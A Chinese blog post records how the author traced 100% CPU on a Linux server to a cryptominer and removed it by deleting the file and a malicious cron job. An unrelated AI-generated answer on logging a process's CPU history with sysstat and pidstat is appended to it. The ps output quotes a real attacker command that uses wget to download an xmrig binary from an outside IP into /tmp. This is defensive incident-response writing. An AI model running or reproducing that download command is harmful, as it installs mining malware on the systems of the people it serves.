linux一次进程cpu100记录

本文详细记录了一次服务器遭遇挖矿病毒攻击的过程。通过使用top命令发现CPU占用异常,进一步利用ps命令和grep定位到病毒源wget下载的恶意文件。深入分析定时任务,最终删除病毒文件和定时任务,成功清除病毒。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

最近遇到一个问题,发现导致经常cpu爆满,导致tomcat,nginx等出现异常。

1、查看异常进程

top命令

2、查看PID对应的文件

ll /proc/PID/exe

3、通过ps命令得知文件来源

ps -ef | grep php

nobody   11036 10981  0 11:28 ?        00:00:00 wget -O /tmp/php http://91.201.42.5/xmrig_64?19517

4、由此知道是由wget 下载xmrig_64 这个文件生成了php这个病毒文件,百度之后发现是挖矿病毒,删除后还会自动生成。查找定时任务

ls /var/spool/cron

发现下面有一个nobody的文件,vi打开正是下载的东西,删除之后解决

 

<think>好的,用户问的是如何在Linux中查看进程的历史CPU使用情况。首先,我需要回想一下Linux系统中常用的性能监控工具。常见的工具有top、htop、ps,但这些工具主要显示实时数据,可能无法直接查看历史数据。 接下来,可能需要考虑系统内置的工具是否有记录历史数据的功能。例如,sar命令属于sysstat包,可以收集和报告系统活动信息,包括CPU使用情况。sar默认会定期收集数据,用户可能需要安装并启用sysstat服务,然后使用sar -P ALL来查看各CPU核心的历史数据,包括特定进程吗?不过sar可能更多是系统层面的,而不是单个进程的历史数据。 然后,进程级别的历史数据可能需要借助其他工具。比如,pidstat也是sysstat的一部分,它可以报告各个进程CPU使用情况,但同样可能需要配置才能记录历史数据。用户可能需要设置sysstat的定时任务,定期记录数据,之后才能查看历史记录。 另外,用户如果希望实时监控并记录,可以使用top或htop结合重定向到日志文件。例如,使用top -b -d 1 -p PID >> cpu.log,这样每隔一秒记录一次特定进程CPU使用情况。不过这种方法需要用户提前启动记录,无法查看过去的数据。 还有一种可能是使用ps命令定期抓取进程的状态,写入日志文件。例如,写一个shell脚本,用循环执行ps -p PID -o %cpu >> cpu_history.log,并配合cron定时执行。这样就能积累历史数据,但需要用户主动设置。 另外,像Prometheus和Node Exporter这样的监控系统可以长期存储指标数据,但配置起来相对复杂,可能适合有运维经验的用户。对于普通用户来说,可能更倾向于使用已有的命令行工具。 总结下来,用户的问题需要分情况讨论:如果已经配置了sysstat,可以用sar或pidstat查看历史记录;如果未配置,可能需要实时记录或使用其他工具。同时,需要给出具体的命令示例,帮助用户操作。另外,要提醒用户sysstat的安装和启用步骤,因为有些系统可能默认没有安装。 最后,生成相关问题,例如如何监控内存使用历史,如何自动化记录进程指标,或者如何分析CPU使用率高的原因。这些都能帮助用户进一步解决问题。</think>在Linux中查看进程的历史CPU使用情况可通过以下方法实现: ### 一、使用sysstat工具包 1. **安装sysstat**: ```bash sudo apt install sysstat # Debian/Ubuntu sudo yum install sysstat # CentOS/RHEL ``` 2. **启用数据收集**: ```bash sudo systemctl enable sysstat && sudo systemctl start sysstat ``` 3. **查看进程历史CPU使用率**: ```bash pidstat -p <PID> -u -T ALL ``` 参数说明:`-p`指定进程ID,`-u`显示CPU使用率,`-T ALL`包含时间戳[^1]。 ### 二、手动记录实时数据 ```bash watch -n 1 "ps -p <PID> -o %cpu,time >> cpu_history.log" ``` 该命令每秒记录一次进程CPU使用率和运行时间到日志文件。 ### 三、使用top命令定向输出 ```bash top -b -d 1 -p <PID> | grep <进程名> >> top_cpu.log ``` 参数说明:`-b`批量模式,`-d 1`每秒更新,`-p`指定进程ID。 ### 四、通过systemd-cgtop(容器进程) ```bash systemd-cgtop -b -d > cgroup_cpu.log ``` 适用于基于cgroups的容器化进程监控。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值